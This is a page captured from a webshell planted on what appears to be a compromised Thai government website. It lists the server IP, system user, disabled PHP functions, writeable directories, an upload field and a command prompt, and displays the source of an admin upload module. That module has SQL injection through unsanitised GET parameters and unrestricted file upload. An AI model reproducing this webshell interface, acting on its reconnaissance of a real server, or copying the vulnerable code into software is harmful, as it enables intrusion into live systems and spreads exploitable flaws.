403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/domains/tessabalpatiu.go.th/private_html/administrator/modules/promote6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/domains/tessabalpatiu.go.th/private_html/administrator/modules/promote6/picture.php
<?php

$res = 0;
$linkurl = "index.php?name=promote6&file=picture&menu_id=".$_GET["menu_id"]."";
@$tableName = "promote6";
@$tableNamePicture = "promote6_picture";
@$getmenu = @$db->getOne(@$tableName,"*","menu_id='".@$_GET['menu_id']."'");
@$getfolder = "promote6";

if(@$_GET['act']=="add"){


        $timesave = time();
		$autoid = 0;
		$idarr = $db->getOne($tableNamePicture,"max(picture_id) as id","");
		$id = $idarr['id'];
		$autoid = $id+1;
		$arrData = array();
		
		$surfileexplode = explode(".",$val);
		$surfilecount = count($surfileexplode);
		$surfile=$surfileexplode[$surfilecount-1];
		$surfile = strtolower($surfile);
			

	if(count($_FILES["item_file"]['name'])>0) { 
		$GLOBALS['msg'] = "";


		for($j=0; $j < count($_FILES["item_file"]['name']); $j++) {
			$filen = $_FILES["item_file"]['name']["$j"]; 
			$path = '../image_data/promote6/'.$filen; 

			if(move_uploaded_file($_FILES["item_file"]['tmp_name']["$j"],$path)) { 
				$GLOBALS['msg'] .= "File# ".($j+1)." ($filen) uploaded successfully<br>"; 


			$arrData['picture_id'] 		= $autoid;
	    	$arrData['menu_id']			= @$_GET['menu_id'];
	    	$arrData['picture_title']	= "";
	    	$arrData['image1']			= $filen; 

	    	$arrData['picture_status']	= "1";
	    	$arrData['picture_showdetail'] = '1';
				
		    $db->insertData(@$tableNamePicture,$arrData);

	    	$msg = $lang_set['txtSaveComplete'];
	        $res = 1;
			}

		}


	}
	else {

		$GLOBALS['msg'] = "No files found to upload"; 

	}


		
}elseif(@$_GET['act']=="del"){
	
	$getdel = $db->getOne(@$tableNamePicture,"*","picture_id = '".$_GET["picture_id"]."'");
	
	@unlink("../image_data/".@$getfolder."/".@$getdel["image1"]);
	@unlink("../image_data/".@$getfolder."/".@$getdel["image11"]);
	@unlink("../image_data/".@$getfolder."/".@$getdel["image2"]);
	@unlink("../image_data/".@$getfolder."/".@$getdel["image3"]);
	@unlink("../image_data/".@$getfolder."/".@$getdel["image4"]);
	
	$db->deleteData(@$tableNamePicture,"picture_id = '".$_GET["picture_id"]."'");

}elseif(@$_GET['act']=="deleteall"){
	
		@$arrData = array();
		if(count(@$_POST['hdpicture_id']) > 0){
			foreach(@$_POST['hdpicture_id'] as $key => $val){
				
				@$arrData['picture_title'] = @$_POST['picture_title_'.@$val.''];
				@$arrData['picture_status'] = @$_POST['picture_status_'.@$val.''];
				@$arrData['sortby'] = @$_POST['sortby_'.@$val.''];
				@$arrData['picture_showdetail'] = @$_POST['picture_showdetail_'.@$val.''];
				
				foreach(@$arrData as $k => $v ){
						@$arrData[@$k] = str_replace("'", "\'", @$v); 
				}
				@$datasu = @$db->updateData(@$tableNamePicture,@$arrData," picture_id='".@$val."'");
			}
		}
		
	$msg = $lang_set['txtEditComplete'];
	$res = 1;
}
$where_f = "menu_id = '".$_GET["menu_id"]."'";

$getPage = $db->getAll( @$tableNamePicture, "*",$where_f,"order by sortby asc" );

?>



<div class="content-box"><!-- Start Content Box -->
	<div class="content-box-header">
        <h3><?php echo strtoupper($getmenu['menu_name']); ?></h3>
        <ul class="content-box-tabs">
            <li><a href="#tab1" <?php echo ($_GET['act']=="" ? 'class="default-tab"' : "" );?>><?php echo $lang_set['list_page']; ?></a></li>
            <li><a href="#tab2" <?php echo ($_GET['act']=="edit" ? 'class="default-tab"' : "" );?>><?php echo $lang_set['add_page']; ?></a></li>
        </ul>
        <div class="clear"></div>
	</div> <!-- End .content-box-header -->
        <div class="content-box-content">
            <div class="tab-content <?php echo ($_GET['act']!="edit" ? "default-tab" : "" );?>" id="tab1"> <!-- This is the target div. id must match the href of this div's tab -->
            <?php if($res==1){?>
                <div class="notification success png_bg">
					<a href="#" class="close"><img src="images/icons/cross_grey_small.png" title="Close this notification" alt="close" /></a>
					<div>
					<?php echo $msg;?>
					</div>
				</div>
                <meta http-equiv="refresh" content="0;URL=<?php echo $linkurl;?>">
            <?php }?>
        <form action="<?php echo $linkurl;?>&act=deleteall" method="post">
        	<?php  if($getPage){?>
            	<table>
                	<tr style="background:#F3F3F3;">
                    	<td width="150px"><?PHP echo $lang_set['picture_image'];?></td>
                        <td>Sort By</td>
                        <td>Detail</td>
                        <td width="120px"></td>
                    </tr>
                    <?php  foreach($getPage as $kfile => $vfile){?>
                    <tr style="background:#ffffff;">
                    	<input type="hidden" name="hdpicture_id[]" value="<?php echo @$vfile['picture_id'];?>" />
                        <td><?PHP echo $vfile["bo_view"];?></td>
                    	<td style="vertical-align:middle">
                         <a href="../image_data/<?PHP echo @$getfolder;?>/<?PHP echo ($vfile["image1"]);?>"><img src="images/icons/clipshow.png" border="0" height="35"/></a></td>
                        <td style="vertical-align:middle;"><input type="text" name="sortby_<?php echo @$vfile['picture_id'];?>" class="text-input" style="width:20px;" value="<?PHP echo ($vfile["sortby"] ? $vfile["sortby"] : 0);?>" /></td>

                        <td style="vertical-align:middle">
                        Title Name : <input type="text" name="picture_title_<?php echo @$vfile['picture_id'];?>" id="picture_title_<?php echo @$vfile['picture_id'];?>" class="text-input medium-input" value="<?PHP echo $vfile["picture_title"];?>"/>
                        <br /><br />
                        Display Image<select name="picture_status_<?php echo $vfile['picture_id'];?>"  class="styled styledmini">
                            <option value="1" <?php echo ($vfile['picture_status']=="1" ? "selected" : "");?>><?PHP echo $lang_set["show"];?></option>
                            <option value="0" <?php echo ($vfile['picture_status']=="0" ? "selected" : "");?>><?PHP echo $lang_set["hide"];?></option>
                        </select>&nbsp;
                        Full Image<select name="picture_showdetail_<?php echo $vfile['picture_id'];?>"  class="styled styledmini">
                            <option value="0" <?php echo ($vfile['picture_showdetail']=="0" ? "selected" : "");?>>Yes</option>
                            <option value="1" <?php echo ($vfile['picture_showdetail']=="1" ? "selected" : "");?>>No</option>
                        </select>
                        <table width="100%" class="imageTable">
                        	<tr >
                            	<th width="34%" style="text-align:center;">View</th>
                            	<th width="66%" style="text-align:left;"><span style="text-align: left"></span>File</th>
                            </tr>
                        	<tr>
                            	<td style="text-align:center"><a href="../image_data/<?PHP echo @$getfolder;?>/<?PHP echo ($vfile['image1']);?>">View image</a></td>
                                <td style="text-align:left">../image_data/<?PHP echo @$getfolder;?>/<?PHP echo $vfile["image1"];?></td>
                            </tr>
                         </table>
                        </td>
                        <td style="vertical-align:middle; text-align:right;">
                        <a href="<?php echo $linkurl;?>&act=del&picture_id=<?php echo $vfile['picture_id']?>" title="Delete"><img src="images/icons/cross.png" alt="Delete" /></a></td></tr>
                    <?php }?>
                </table>
                <p>
				<input type="submit" class="button" value="<?php echo $lang_set['update']; ?>" />
				</p>
            <?php }else{?>
            	<table width="100%">
                	<tr>
                        <td colspan="7" style="text-align:center"><?php echo @$lang_set['page_not_have']; ?>.</td>
                    </tr>
                </table>
            <?PHP }?>
        </form>
        
     </div> <!-- End #tab1 -->

    <div class="tab-content <?php echo ($_GET['act']=="edit" ? "default-tab" : "" );?>" id="tab2">

<form  action="<?php echo $linkurl;?>&act=add" method="post" id="formID1" enctype="multipart/form-data">
<input type="hidden" name="pgaction">
	<?php if ($GLOBALS['msg']) { echo '<center><span class="err">'.$GLOBALS['msg'].'</span></center>'; }?>
	<table align="center" cellpadding="4" cellspacing="0" bgcolor="#EDEDED">	
		<tr class="txt">
			<td valign="top"><div id="dvFile"><input type="file" name="item_file[]"></div></td>
			<td valign="top"></td>
		</tr>
		<tr>
			<td align="center" colspan="2"><input type="submit" value="Upload"></td>
		</tr>
	</table>
</form>


    </div> <!-- End #tab2 -->        
</div> <!-- End .content-box-content -->
</div>

											
                                            
                                            
                                            

Youez - 2016 - github.com/yon3zu
LinuXploit